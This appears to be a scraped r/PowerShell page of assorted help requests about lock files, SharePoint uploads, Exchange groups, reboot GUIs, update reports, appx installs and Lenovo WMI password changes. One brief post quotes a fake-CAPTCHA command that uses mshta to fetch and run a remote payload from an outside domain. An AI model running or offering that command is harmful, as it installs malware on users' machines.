/r/PowerShell
PowerShell is a cross-platform (Windows, Linux, and macOS) automation tool and configuration framework optimized for dealing with structured data (e.g. JSON, CSV, XML, etc.), REST APIs, and object models. PowerShell includes a command-line shell, object-oriented scripting language, and a set of tools for executing scripts/cmdlets and managing modules.
Windows PowerShell (POSH) is a command-line shell and associated scripting language created by Microsoft. Offering full access to COM, WMI and .NET, POSH is a full-featured task automation framework for distributed Microsoft platforms and solutions.
SUBREDDIT FILTERS
/r/PowerShell
Is there any way to successfully disable Windows 11 notifications per user using a PowerShell script? I have been trying to get a script to work that will disable notifications for all users, but that seems unattainable at this point.
Another approach I am looking at is to create a script that will disable notifications for the current logged in user. If I can get that to work then I can have the script execute once per user when the initially log on to a computer.
Hello, I need help, when I want to delete or move a video or audio file, it appears that shell infrastructure host has it open and I need to retry several times to let me move or delete it. I need help, please.
I'm trying to prevent write collisions when using a script runner on multiple computers to run a script that writes to a single combined output file. I tried to create a lock file, with a loop that checks for the existence of the lock file before allowing the script to proceed, but I'm still getting the collision error, so apparently it's not working (error is that the output file is locked by another process). Code below; any ideas?
# Start loop to create lock file, if needed $StartLoop = { $Global:timelockfile = "$env:AuditPath\$(Get-Date -f yyyy-MM-dd).timelockfile" If (Test-Path $timelockfile) {Sleep -seconds 1} Else { #Create lock file to prevent write collisions New-Item -ItemType FIle $timelockfile Return} .$StartLoop} &$StartLoop [PSCustomObject]@{ 'EndPoint' = $Env:ComputerName 'Date' = $(Get-Date -f yyy-MM-dd) 'Time' = $(Get-Date -f hh:mm:ss) 'TimeZone' = get-timezone | Select-Object -ExpandProperty ID } # Remove lock file at completion Remove-item $timelockfile -force
(not sure why line breaks aren't working in above...sorry!?)
(ETA - that's too ugly. Adding below WITHOUT using the code editor. I know that's frowned on, but I can't read the above, and I don't expect anyone else to struggle through that mess, either. Mods, hope you understand...)
# Start loop to create lock file, if needed
$StartLoop = {
$Global:timelockfile = "$env:AuditPath\$(Get-Date -f yyyy-MM-dd).timelockfile"
If (Test-Path $timelockfile) {Sleep -seconds 1}
Else { #Create lock file to prevent write collisions
New-Item -ItemType FIle $timelockfile
Return}
.$StartLoop}
&$StartLoop
[PSCustomObject]@{
'EndPoint' = $Env:ComputerName
'Date'
= $(Get-Date -f yyy-MM-dd)
'Time'
= $(Get-Date -f hh:mm:ss)
'TimeZone'
= get-timezone | Select-Object -ExpandProperty ID
}
# Remove lock file at completion
Remove-item $timelockfile -force
Full code was like this
powershell -NoProfile -Command”mshta https://requinos.shop/matataakuna.mp4 # ✅ “I am not a robot -rëCAPTCHA Verification ID:
I have an assortment of PowerShell scripts for installing a web application (it's all in a same monorepo).
I want an environment file for all of the PowerShell files to centralize their requirements. Up till now we tagged individual files that required a module with the usual modeline: #Requires -Modules ***
But changing this is tiring for each release.
Is there a format that works particularly well, like a package.json, requirements.txt, etc kind of file?
I am installing wsl on my Windows 11 system. When I type in the WSL command, i get some weird formatted messages. I get a space between each letter. What is going on here?:
PS C:\Windows\system32> wsl --install
W i n d o w s S u b s y s t e m f o r L i n u x i s a l r e a d y i n s t a l l e d .
T h e f o l l o w i n g i s a l i s t o f v a l i d d i s t r i b u t i o n s t h a t c a n b e i n s t a l l e d .
What local (file) db to use with powershell? ideas&
Just sick of csv...
On admin.cloud.microsoft/exchange i created a Dynamic Distribution with PowerShell directly from Exchange Admin center (from CloudShell).
I wanted to add a condition rule based on "Country" and include userType "Member" also to not include there Contractor.New-DynamicDistributionGroup -Name 'US Employees' -IncludedRecipients "(Country -eq 'United States') -and (userType -eq 'Member') -and (userType -noteq 'Contractor')
is this correct? because i get the error
New-DynamicDistributionGroup: The term 'New-DynamicDistributionGroup' is not recognized as a name of a cmdlet, function, script file, or executable program.
Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
I have been trying to figure out if an online editor exist, I want to figure out how to nvim a new tab that splits the current terminal in two? Anything like that?
With M$ changing it so you have to use app registrations to connect to SharePoint, I am having an issue getting my code to connect through an app reg. The error I get is (401) Unauthorized when I try the copy section of the script. I also get "Parameter set cannot be resolved using the specified named parameters. One or more parameters issued cannot be | used together or an insufficient number of parameters were provided. Resolve-PnPFolder" I have checked the client and tenant IDs to make sure they are right. I have created a whole new secret in the app reg and made sure I was using that. All the API permissions are set for sites.fullcontrol.all and sites.readwrite.all in both SharePoint and graph.
# Variables
$SiteURL = "sharepoint site Url"
$FolderLocalPath = "local folder path"
$TargetFolder = "Sharpoint folder path"
# App Registration Details
$ClientId = "App/Client ID" # Replace with your App Client ID
$ClientSecret = "Generated Secret Key" # Replace with your App Client Secret
$TenantId = "Tennant ID" # Replace with your Tenant ID
# Authenticate using App Registration
$AccessToken = (Invoke-RestMethod -Method POST -Uri "https://login.microsoftonline.com/$TenantId/oauth2/v2.0/token" -ContentType "application/x-www-form-urlencoded" -Body @{
client_id = $ClientId
client_secret = $ClientSecret
scope = "https://graph.microsoft.com/.default"
grant_type = "client_credentials"
}).access_token
# Connect to SharePoint using PnP PowerShell
Connect-PnPOnline -Url $SiteURL -ClientId $ClientId -ClientSecret $ClientSecret -Tenant $TenantId
# Get all files from the local disk
$Files = Get-ChildItem -Path $FolderLocalPath -File
# Ensure the target folder exists
Resolve-PnPFolder -SiteRelativePath $TargetFolder | Out-Null
# Email if local folder is empty
$directoryPath = "C:\Dump\visionpics\"
$items = Get-ChildItem -Path $directoryPath
if ($items.Count -eq 0) {
Write-Host "'$directoryPath' directory is empty."
$psemailserver = 'smtp server'
$to = 'Some Contact <scontact@company.com>'
Send-MailMessage -From 'Machine <donotreply@company.com>' -To $to -Subject 'Machine Folder' -Body "Machine folder is empty"
} else {
Write-Host "'$directoryPath' directory is not empty."
$items.Count
$count = $items.count
$psemailserver = 'smtp server'
$to = 'Some Contact <scontact@company.com>'
$body = "Machine folder has $count pictures"
Send-MailMessage -From 'Machine <donotreply@company.com>' -To $to -Subject 'Machine Folder' -Body $body
}
# Create monthly folder in SharePoint Online folder
$currentMonth = Get-date -format "MM-yyyy"
$foldername = "files_$currentMonth"
if (!(Get-PnPListItem -List "$TargetFolder" -Query "<View><Query><Where><Eq><FieldRef Name='FileLeafRef'/><Value Type='Text'>$folderName</Value></Eq></Where></Query></View>").Count -gt 0) {
Add-PnPFolder -Name $folderName -Folder "$TargetFolder"
}
# Upload all files from the local folder to SharePoint Online Folder
ForEach ($File in $Files) {
Add-PnPFile -Path "$($File.Directory)\$($File.Name)" -Folder "$TargetFolder\$foldername" -Values @{"Title" = $($File.Name)} | Out-Null
Write-host "Uploaded File:" $File.FullName
Write-Output "$('[{0:MM/dd/yyyy} {0:HH:mm:ss}]' -f (Get-Date)) File Exported" $File.Name | Out-file C:\scripts\logs\vtallypiclog.txt -append
}
# Move files for folder management
Move-Item -Path "local directory" -Destination "local directory"
I can’t find documentation anywhere. Just a bunch of articles online showing basic usages. The GitHub page has maybe 5 examples and doesn’t cover all of the commands provided by the module.
Also I’m coming from Linux so just general question, why is it impossible to figure out the parameters of a command? Why is there no —help or /help argument in literally anything? How do people find the arguments???
So my work has asked me to create a GUI based powershell program that checks users system uptime. If their uptime is over the set limit, it will pop up this gui and let them either reboot or allow them to set it off to the side up to three times before it basically says “Your pc will reboot now, deal with it”. I’ve got all the code basically done except for the snooze feature. They also want the windows to basically go away each time a snooze occurs.
Here is what I got so far for that button press and I’m stumped.
$Button2 = New-Object System.Windows.Forms.Button
$Button2.Location = New-Object System.Drawing.Point(400,250)
$Button2.AutoSize = $true
$Button2.Text = 'Snooze'
$Button2.Add_Click({
#Add Snooze function to button press.
#Upon inital button click, the windows should close and set a timer to allow user to reboot on their own.
#If the timer reaches zero, a new window(see code below) should open and notify that a mandatory reboot will occur in __ minutes and to save what they are working on
#$main_form.Close()
#Create a loop that will do a countdown and activate a secondary form if countdown reaches zero
#add an if/else loop within for loop to determine if the application is closed or if it will open the below child form
#For($closeCount = 0; $closeCount -lt 3; $closeCount++){Register-EngineEvent -SourceIdentifier PowerShell.Exiting -Action { IncrementCloseCount }}
#if($closeCount -lt 3){$main_form.Close()
$childform = New-Object System.Windows.Forms.Form
$childform.Text = "Notice of Automated Restart"
$childform.StartPosition = "CenterParent"
$childform.Width = 800
$childform.Height = 300
$childform.Icon = $Icon
$childLabel = New-Object System.Windows.Forms.Label
$childLabel.Text = “This is to inform you that your computer is now being rebooted to install critical updates.
We strive to keep your system up to date and secure, ensuring optimal performance and protection against potential threats.
Thank you for your cooperation in keeping your system secure and up to date.
Best regards,
Company Name IT”
$childLabel.Font = 'Microsoft Sans Serif,10'
$childLabel.Location = New-Object System.Drawing.Point(0,10)
$childLabel.AutoSize = $true
$childform.Controls.AddRange(@($childLabel))
$childform.ShowDialog()
#Start-Sleep -Minutes 5
#Restart-Computer -Force
})
Please give help me fix this or get it working in some way. I know this is an extremely stupid situation/actions to take but this is what management and big boss wants as a solution. I just would like some coding help or links to resources that would help me, please.
I have a task that runs using a GMSA to run some powershell code that inevitably needs to manipulate a COM object to edit a word doc. Is the GMSA able to do this or would it fall under the “interactive” umbrella that GMSAs struggle with?
Hello,
I want to display a list of Get-ChildItem with a number (like a new column) to easy access to it, and not to TAB every file to reach my objective archive, i want to access like this (Get-ChildItem)[2], but i need to know the position first.
Thanks you
I'm needing to remove aliases from several users in an O365 environment. I've got the primary email addresses in one CSV (abc.csv), and the respective aliases to be removed in another (xyz.csv). I get a basic layout of these pieces, but unsure how to piece it together cleanly.
$abc = get-content -literalpath c:\abc.csv
$xyz = get-content -literalpath c:\xyz.csv
set-mailbox abc.com -emailaddresses @{remove = xyz.com}
but how do I get a foreach {$a in $abc} AND {$x in $xyz} to loop thru each variable in both sets at the same time?
edited to add the solution. A whole lot of convoluted stuff here, but u/nylyst jogged the head into the right angle to sort it. thanks everyone.
$uname = GC c:\temp\unames.csv
foreach ($u in $uname) {set-mailbox "$u@abc.com" -emailaddresses @{remove = "$u@xyz.com"}}
Hi all.
I'm new to PS and trying to setup a series of scripts to help me reduce time with some clients supported. Some clients don't like automated updating and pay for on-site sit down and manage the updates and reboots, then create reports for them on the updates installed each time along with how long each server was off for. To save manually connecting to each server to do this, I want to script it, while still on-site to run it.
The following script currently is supposed to supply a count of the installed updates when WUPD ran, along with shutdown and start-up time. Just to a local text file for now. The reboot times are fine, however I'm unable to get it to list the number of updates installed when last run. I either get 0 or all updates. Any error checks replace the 0.
Do any of you Geneii know where I'm going wrong (ChatGPT as well hasn't been able to help resolve this issue coming up with more complex scripting, that gives the same results.
Ta much.
# Create the folder if it doesn't exist
$folderPath = "C:\TempPath"
if (-not (Test-Path -Path $folderPath)) {
New-Item -Path $folderPath -ItemType Directory | Out-Null
}
# Initialize the report file path
$reportFilePath = "$folderPath\UpdateReport.txt"
# Get the last Windows Update event time (Event ID 19 = Successful install)
$lastUpdateEvent = Get-WinEvent -LogName "Microsoft-Windows-WindowsUpdateClient/Operational" `
-MaxEvents 20 | Where-Object { $_.Id -eq 19 } | Select-Object -First 1
$lastUpdateTime = if ($lastUpdateEvent) { $lastUpdateEvent.TimeCreated } else { $null }
# Debugging: Show last update event time
Write-Output "Last Windows Update event timestamp: $lastUpdateTime"
# Get all update history and filter only those installed on the last update session
$updateSession = New-Object -ComObject Microsoft.Update.Session
$updateSearcher = $updateSession.CreateUpdateSearcher()
$historyCount = $updateSearcher.GetTotalHistoryCount()
$updateHistory = $updateSearcher.QueryHistory(0, $historyCount)
if ($lastUpdateTime) {
# Convert the COM object date format
$successfulUpdates = ($updateHistory | Where-Object {
$_.ResultCode -eq 2 -and [datetime]$_.Date -ge $lastUpdateTime.AddMinutes(-500)
}).Count
} else {
$successfulUpdates = "N/A (No recent update event found)"
}
# Debugging: Show detected number of updates
Write-Output "Number of updates installed in the last session: $successfulUpdates"
# Get the last shutdown time
$lastShutdownTime = (Get-EventLog -LogName System -Source User32 -Newest 1 -EntryType Information | Where-Object { $_.EventID -eq 1074 }).TimeGenerated
# Get the last startup time using Get-WinEvent
$lastStartupEvent = Get-WinEvent -LogName System | Where-Object { $_.Id -eq 6005 } | Select-Object -First 1
$lastStartupTime = if ($lastStartupEvent) { $lastStartupEvent.TimeCreated } else { $null }
# Format the times if they are not null
$shutdownTimeFormatted = if ($lastShutdownTime) { $lastShutdownTime.ToString("dd-MM-yyyy HH:mm:ss") } else { "N/A" }
$startupTimeFormatted = if ($lastStartupTime) { $lastStartupTime.ToString("dd-MM-yyyy HH:mm:ss") } else { "N/A" }
# Write the information to the report file
@"
Number of Windows updates successfully installed last time Windows Update ran: $successfulUpdates
Time the computer last shutdown: $shutdownTimeFormatted
Time the computer last started up: $startupTimeFormatted
"@ | Out-File -FilePath $reportFilePath -Encoding utf8
Write-Output "Report generated at $reportFilePath"
I have a large script that part of it involves Invoke-Command to run something on a remote machine. The issue is that very often the session says, "the network connection to _____ has been interrupted." I have checked and there is nothing wrong with the connection to the device. It is wired into the LAN so I am not sure what it is doing this. This is what it looks like:
Invoke-Command -ComputerName $computerName -ScriptBlock{
Set-ExecutionPolicy -ExecutionPolicy Bypass
Install-Script -Name Get-windowsautopilotinfo -Force
get-windowsautopilotinfo.ps1 -online -TenantID XXXXXXXXX -appid XXXXXXXXX -appsecret XXXXXXX
It will get the information and upload it to Intune but then the script just loses connection to the device, again no idea why. The machine the script runs on and the machine it targets are on the same LAN. Is there anyway around this, to where it just sends the command to the machine and does not require a constant connection? It properly uploads the device to AP so then i have to proceed to wait 4 minutes for the stupid reconnection prompt to stop so the rest of the script proceeds.
Sorry for a basic question! I don't use PowerShell unless I visit some webpage that tells me to. I see so many versions installed on my laptop, I was wondering why so many versions, and if I can hide or uninstall any of them:
I'm completely stumped by this problem.
I've got Visual Studio Code v1.96.4 installed on my Windows 10 PC.
VS Code -> About -> reports OS: Windows_NT x74 10.0.19044
When I start VS Code Studio, I get a very long error message:
The terminal process "C:\Program Files\PowerShell\7\pwsh.exe '-NoProfile', '-ExecutionPolicy', 'Bypass', '-Command', 'Import-Module 'c:\Users\anon\.vscode\extensions\ms-vscode.powershell-2025.0.0\modules\PowerShellEditorServices\PowerShellEditorServices.psd1'; Start-EditorServices -HostName 'Visual Studio Code Host' -HostProfileId 'Microsoft.VSCode' -HostVersion '2025.0.0' -BundledModulesPath 'c:\Users\anon\.vscode\extensions\ms-vscode.powershell-2025.0.0\modules' -EnableConsoleRepl -StartupBanner "PowerShell Extension v2025.0.0 Copyright (c) Microsoft Corporation.
https://aka.ms/vscode-powershell
Type 'help' to get help. " -LogLevel 'Warning' -LogPath 'c:\Users\anon\AppData\Roaming\Code\logs\20250131T111643\window1\exthost\ms-vscode.powershell' -SessionDetailsPath 'c:\Users\anon\AppData\Roaming\Code\User\globalStorage\ms-vscode.powershell\sessions\PSES-VSCode-3664-117701.json' -FeatureFlags @() '" terminated with exit code: -1073740286.
This is the contents of the logfile referred to above:
2025-01-31 11:16:45.914 [info] Visual Studio Code: v1.96.4 64-bit on Windows 64-bit
2025-01-31 11:16:45.914 [info] PowerShell Extension: v2025.0.0
2025-01-31 11:16:45.914 [info] Starting 'PowerShell (x64)' at: C:\Program Files\PowerShell\7\pwsh.exe
2025-01-31 11:16:47.886 [info] PowerShell process started with PID: 27760
2025-01-31 11:16:47.908 [warning] PowerShell process terminated or Extension Terminal was closed, PID: 27760
2025-01-31 11:16:49.045 [error] Extension Terminal is undefined.
I decided to test the basics so I opened a command shell & went to "C:\Program Files\PowerShell\7\"
When I type pwsh.exe I get this error message:
c:\Program Files\PowerShell\7>pwsh
CLR: Assert failure(PID 39944 [0x00009c08], Thread: 28808 [0x7088]): !AreShadowStacksEnabled() || UseSpecialUserModeApc()
File: D:\a\_work\1\s\src\coreclr\vm\threads.cpp:7938 Image:
c:\Program Files\PowerShell\7\pwsh.exe
How can I fix this?? Thanks.
Hi
I have some incremental backups running. I want the script to count the number of text string occurrences in the latest file in a current directory. If the count is 4 is should output "ok"
$FileContent = Get-Content "C:\Temp\*inc*.log"
$Matches = Select-String -InputObject $FileContent -Pattern "successfully" -AllMatches
$Matches.Matches.Count
Edit: This has been solved! Victim of my own incompetence yet again 😔. Thanks for the help!
Hi!
I'm relatively new to PowerShell (read: I've been working with it a few times a year for a couple of years), I'm currently working on a very simple script that pulls some information out of a couple of .xlsx files, formats it, and outputs it as CSV for use with some other tools. I think I'm about 98% done, but I'm getting a strange exception that I can't quite figure out.
Here's the code: https://pastebin.com/51CbLMpb (reddit wouldn't let me paste it directly).
The problem I'm having isn't until the very last two Export-Csv statements. For some reason, these throw an "Object reference not set to an instance of an object." exception, despite the fact that the line executes (otherwise) perfectly and outputs two correctly formatted CSV files. I can access both variables in that scope, and they both show up as expected in the debugger.
If this were my own side project, maybe I'd count my luck stars that it worked and ignore it, but this is for work and I'd rather it not be spitting out exceptions every time my boss tried to use it.
Any help is greatly appreciated. If you feel so inclined, any general feedback would also be very welcome.
Thanks so much!
Hi All, I'm piloting a DLP policy applied to a test site on our production tenant. I've run a simulation on a policy employing a few trainable classifiers. The simulation results are encouraging, but i want stakeholders to be able to review what trainable classifiers hit on what content, so they can validate the results for false positives and whatnot.
I dont have access to graph right now, so this is what i'm working with:
# Define the date range for the report
$startDate = (Get-Date).AddDays(-5) # Adjust as needed
$endDate = Get-Date
# Set policy name
$policyName = "TESTPOLICYPLEASEIGNORE"
# Export all DLP activity and convert it into a usable format
$dlpData = Export-ActivityExplorerData -StartTime $startDate -EndTime $endDate -OutputFormat Csv -PageSize 5000 |
ConvertFrom-Csv
# Check if data was returned before filtering
if ($dlpData) {
# Filter for the specific DLP policy
$filteredData = $dlpData | Where-Object { $_.PolicyName -eq $policyName }
# Export filtered data to CSV
$filteredData | Export-Csv -Path "C:\Users\User\Documents\DLP_Activity_Data.csv" -NoTypeInformation
Write-Host "DLP activity report saved: C:\Users\User\Documents\DLP_Activity_Data.csv"
} else {
Write-Host "No DLP activity found for the selected date range."
}
I'm not getting any data to export. Yet i KNOW there's data in that range. What am i doing wrong?
Powershell was running on my computer for a little bit and my pc was acting really slow, i don’t use powershell for anything. i’ve had a virus before and powershell was the infected thing, i reinstalled windows and now it’s popping again after about 6 months or so having no problems. Basically my question is, is this normal? is this malicious?
A couple things i’ll add to prevent some questions is i ran a quick scan with defender and it didn’t find anything and powershell wasn’t constantly running, but it did take up a decent amount not a lot of ram. If there are any answers/solutions please let me know thanks!
So we can get a json file using get-content
and then get property contents by something like
$json.level1property.nestedproperty
how can I get that property using a variable like, $NestProperty = "level1property.nestedproperty"
that doesn't seem to work because it creates it as string $json."level1property.nestedproperty"
but creating each as a separate string works
$a = "level1property"
$b = "nestedproperty"
$json.$a.$b #works
$json.$NestProperty #doesn't work
Tips on the best or most effective way to learn how to write scripts. Any good resources or command lists that could be useful?
Hi all, so I am working on this KIOSK if it can be called that, which is a combo box for users to select the app they want to install. We block access to the Microsoft Store, and I am in the process of migrating over 60k users to Windows 11. Some of these apps break after the upgrade, and some were not in Windows 10, but users want them in Windows 11. I can build these apps using the appx packages. Rather than publish them individually in software center, I decided to create a dropdown they can select and it will install the app. The installation works fine, but I am trying to find a way to output the process in a read only window. Optionally I can use out-gridview that pops out a window, but if I can get it to show in the form itself that would be awesome. I create the $OutoutBox for displaying the data, just need to figure how to redirect to it. Below is my code
#region collapse entire form #region Main Add-type -AssemblyName system.windows.forms $formobject = [System.Windows.forms.form] $MenuForm=New-object $formobject $MenuForm.clientsize= '500,500' $MenuForm.text ='Most Frequently Used Commands' $MenuForm.backcolor='White' $DefaultFont='Verdana,10' $MenuForm.Font=$DefaultFont #endregion Main
#region combobox
$scriptPath = split-path -parent $MyInvocation.MyCommand.Definition
$labelobject = [System.Windows.Forms.Label]
$LabelTitle=New-Object $labelobject
$LabelTitle.Text='Make selection then click the Execute button'
$LabelTitle.AutoSize=$true
$LabelTitle.Location=New-Object System.Drawing.Point(40,10)
#endregion
#region execute button
$BtnObject= [System.Windows.Forms.Button]
$BtnExecute=New-Object $BtnObject
$BtnExecute.Text='Execute'
$BtnExecute.AutoSize=$true
$BtnExecute.font='Verdana,10'
$BtnExecute.Location=New-Object System.Drawing.Point(400,300) #1st number adjust horizontal, 2nd number adjust vertical
#endregion
#region exit button
$BtnObject2= [System.Windows.Forms.Button]
$BtnExit=New-Object $BtnObject2
$BtnExit.Text='Exit'
$BtnExit.AutoSize=$true
$BtnExit.font='Verdana,10'
$BtnExit.Location=New-Object System.Drawing.Point(400,400)
#endregion
#region clear button
$btnobjclear= [System.Windows.Forms.Button]
$Btnclear=new-object $btnobjclear
$Btnclear.Text='Clear all'
$Btnclear.AutoSize=$true
$Btnclear.Location=New-Object system.drawing.point(400,350)
#$Btnclear.ForeColor='black'
#$Btnclear.BackColor='Yellow'
$Btnclear.Font='Verdana,10'
#$BTNclear.Font = New-Object System.Drawing.Font("Verdana",10,[System.Drawing.FontStyle]::Bold)
#endregion
<#region info textbox
$TextobjInfo= [System.Windows.Forms.textbox]
$TxtBoxInfo=New-object $TextobjInfo
$TxtBoxInfo.Multiline=$true
$TxtBoxInfo.WordWrap=$true
$TxtBoxInfo.Autosize=$true
$TxtBoxInfo.Size=[drawing.size]::new(300,30)
$TxtBoxInfo.Location=New-Object System.Drawing.Point(10,280)
$TxtBoxInfo.BackColor="White"
$TxtBoxInfo.font = "verdana,10"
#endregion
#>
#region output label
#build info label object
$LblobjInfo = [System.Windows.Forms.Label]
$InfoLabel=New-object $LblobjInfo
$InfoLabel.Autosize=$true
$InfoLabel.Location=New-Object System.Drawing.Point(10,250)
$InfoLabel.BackColor="White"
$InfoLabel.font = "verdana,10"
$InfoLabel.text
#endregion
#region combo box
$ComboBoxObject=[System.Windows.Forms.ComboBox]
$DDLMenu=New-Object $ComboBoxObject
$DDLMenu.Width='350'
$DDLMenu.Location=New-Object System.Drawing.Point(30,40)
#endregion
# Output Box which is below all other buttons
$outputBox = New-Object System.Windows.Forms.TextBox
$outputBox.Location = New-Object System.Drawing.Size(10,200)
$outputBox.Size = New-Object System.Drawing.Size(350,200)
$outputBox.MultiLine = $True
$outputBox.ScrollBars = "Vertical"
$OutputBox.ReadOnly = $True
$MenuForm.Controls.Add($outputBox)
#>
#region picturebox
<#
$scriptPath = split-path -parent $MyInvocation.MyCommand.Definition
$pictureBox = New-Object System.Windows.Forms.PictureBox
$pictureBox.Image = [System.Drawing.Image]::FromFile("$scriptpath\PScommands.png")
$pictureBox.SizeMode = [System.Windows.Forms.PictureBoxSizeMode]::CenterImage#StretchImage
$pictureBox.Dock = [System.Windows.Forms.DockStyle]::Fill
$pictureBox.Location = New-Object System.Drawing.Point(400, 50)
#>
#endregion
#Add items to the dropdownlist
#@('LTSC 2021 STD x64','LTSC 2021 STD+Project+Visio Std x64','LTSC 2021+Project STD')|ForEach-Object {[void]$DDLOffice.Items.Add($_)}
@('Snipping Tool','Sound Recorder','Notepad','Camera','Todo')|ForEach-Object {[void]$DDLMenu.Items.Add($_)}
#Select default value
$DDLMenu.SelectedIndex=0
#region lable to confirm selection
$LabelObject1=[System.Windows.Forms.Label]
$LabelOutPut=New-Object $LabelObject1
$LabelOutPut.Text="You selected: $Choice"
$LabelOutPut.AutoSize=$true
$LabelOutPut.location=new-object System.Drawing.Point (20,400)
#endregion
#region catch selection
$DDLMenu.add_SelectedIndexChanged({
$choice=$DDLMenu.SelectedItem
$LabelOutPut.Text="You selected: $Choice"
})
#endregion
$scriptPath = split-path -parent $MyInvocation.MyCommand.Definition
#region dropdown list
Function SnipTool{
}
Function SoundRec{
}
Function Notepad{
#Install dependencies
DISM.EXE /Online /Add-ProvisionedAppxPackage /PackagePath:"C:\Temp\AppStore\Notepad\Microsoft.VCLibs.140.00.UWPDesktop_14.0.33728.0_x64__8wekyb3d8bbwe.appx" /SkipLicense
DISM.EXE /Online /Add-ProvisionedAppxPackage /PackagePath:"C:\Temp\AppStore\Notepad\Microsoft.UI.Xaml.2.8_8.2310.30001.0_x64__8wekyb3d8bbwe.appx" /SkipLicense
DISM.EXE /Online /Add-ProvisionedAppxPackage /PackagePath:"C:\Temp\AppStore\Notepad\Microsoft.WindowsAppRuntime.1.5_5001.311.2039.0_x64__8wekyb3d8bbwe.msix" /SkipLicense
DISM.EXE /Online /Add-ProvisionedAppxPackage /PackagePath:"C:\Temp\AppStore\Notepad\Microsoft.VCLibs.140.00_14.0.33519.0_x64__8wekyb3d8bbwe.appx" /SkipLicense
#Install main appx
DISM.EXE /Online /Add-ProvisionedAppxPackage /PackagePath:"C:\Temp\AppStore\Notepad\Microsoft.WindowsNotepad_11.2410.21.0_neutral_~_8wekyb3d8bbwe.msixbundle" /skiplicense
}
Function Todo{
}
function Execute {
switch ($DDLMenu.SelectedIndex) {
0 {(SnipTool)}
1 {(SoundRec)}
2 {(Notepad)}
3 {(Camera)}
4 {(Todo)}
5 {}
6 {}
7 {}
8 {}
}
}
#endregion
#region assign button action
Function ClearTxtBoxes {
$TxtBoxInfo.Text=""
}
$BtnExecute.Add_Click({Execute})
$Btnclear.Add_Click({ClearTxtBoxes})
$BtnExit.Add_Click({
$MenuForm.FormClosing;$MenuForm.Close()})
#endregion
#region form control
$MenuForm.Controls.AddRange(@($LabelTitle,$BtnExecute,$BtnExit,$DDLMenu,$LabelOutPut,$InfoLabel,$BTNclear))
#$MenuForm.showdialog() #displays the form
[system.windows.forms.application]::run($MenuForm)
$MenuForm.dispose() #cleans up form
#endregion
#endregion collapse entire form
I have a some directories on my Windows PC, external HDs and cloud storage that I want to delete of the form :-
"<random stuff>/My PC/<year>/<month>/Downloads/Done"
If it was *unix I would "find" the directories, write them out to a file then use Vim, maybe Awk to construct the delete command for each one and run the file. If I was being extra paranoid I would move all the directories to the one place first and change the name to something like <year-month-Done> just to check I have the right ones before deleting them.
I have been trying Get-ChildItem but can't seem to get the right output of the full pathname.
I am this close to installing Cygwin, also I could have probably done it manually by now!
I’m working on a PowerShell script using WMI to change the User HDD Password (uhdp1) on a Lenovo system, but I keep encountering "Invalid Parameter" errors when attempting to execute the commands.
WMI Namespace Used: root\wmi
WMI Classes Used:
Lenovo_WmiOpcodeInterface
Lenovo_BiosPasswordSettings
What I’m Trying to Do:
I need to change the User HDD Password from "password123" to "password456" using WMI. I also suspect the Master HDD Password (mhdp1) and/or Supervisor Password may need to be included in the process.
Script I'm Using:
$SupervisorPassword = "supervisor123" # Supervisor Password $MasterHDDPassword = "masterpassword123" # Current Master HDD Password $UserCurrentPassword = "password123" # Current User HDD Password $UserNewPassword = "password456" # New User HDD Password
try { # Step 1: Set Supervisor Password (if required) $result = (Get-WmiObject -Class Lenovo_WmiOpcodeInterface -Namespace root\wmi).WmiOpcodeInterface("WmiOpcodeSupervisorPassword:$SupervisorPassword") Write-Host "Supervisor Password Step Result: $($result.Return)"
# Step 2: Specify Master HDD Password Type
$result = (Get-WmiObject -Class Lenovo_WmiOpcodeInterface -Namespace root\wmi).WmiOpcodeInterface("WmiOpcodePasswordType:mhdp1")
Write-Host "Master HDD Password Type Step Result: $($result.Return)"
# Step 3: Provide Master HDD Password
$result = (Get-WmiObject -Class Lenovo_WmiOpcodeInterface -Namespace root\wmi).WmiOpcodeInterface("WmiOpcodePasswordMaster01:$MasterHDDPassword")
Write-Host "Set Master HDD Password Step Result: $($result.Return)"
# Step 4: Specify User HDD Password Type
$result = (Get-WmiObject -Class Lenovo_WmiOpcodeInterface -Namespace root\wmi).WmiOpcodeInterface("WmiOpcodePasswordType:uhdp1")
Write-Host "User HDD Password Type Step Result: $($result.Return)"
# Step 5: Provide Current User HDD Password
$result = (Get-WmiObject -Class Lenovo_WmiOpcodeInterface -Namespace root\wmi).WmiOpcodeInterface("WmiOpcodePasswordCurrent01:$UserCurrentPassword")
Write-Host "Set Current User HDD Password Step Result: $($result.Return)"
# Step 6: Provide New User HDD Password
$result = (Get-WmiObject -Class Lenovo_WmiOpcodeInterface -Namespace root\wmi).WmiOpcodeInterface("WmiOpcodePasswordNew01:$UserNewPassword")
Write-Host "Set New User HDD Password Step Result: $($result.Return)"
# Step 7: Save Changes
$result = (Get-WmiObject -Class Lenovo_WmiOpcodeInterface -Namespace root\wmi).WmiOpcodeInterface("WmiOpcodePasswordSetUpdate")
Write-Host "Save Changes Step Result: $($result.Return)"
if ($result.Return -eq 0) {
Write-Host "User HDD Password successfully updated. A reboot is required."
Restart-Computer -Force
} else {
Write-Host "Failed to update the password. Error code: $($result.Return)"
}
} catch { Write-Host "An error occurred: $_" }
Issue Encountered:
Here are the results I get when running the script:
Supervisor Password Step Result: Invalid Parameter Master HDD Password Type Step Result: Success Set Master HDD Password Step Result: Invalid Parameter User HDD Password Type Step Result: Invalid Parameter Set Current User HDD Password Step Result: Invalid Parameter Set New User HDD Password Step Result: Invalid Parameter Save Changes Step Result: Invalid Parameter Failed to update the password. Error code: Invalid Parameter
Additional Context:
I verified in BIOS that HardDiskPasswordControl is set to MasterUser.
The Master HDD Password and User HDD Password are already configured.
I can manually change the User HDD Password in BIOS without issues.
I am running PowerShell as Administrator.
Questions:
Am I missing any required WMI parameters for updating the HDD password?
Does Lenovo require a specific order of WMI commands for password changes?
Should I be including the Supervisor Password at all, or is it unnecessary?
Is a reboot required before or after applying changes?
Are there any Lenovo BIOS settings that might be blocking this WMI operation?
Any guidance on the correct WMI method to change the User HDD Password would be greatly appreciated. Thanks in advance for your help!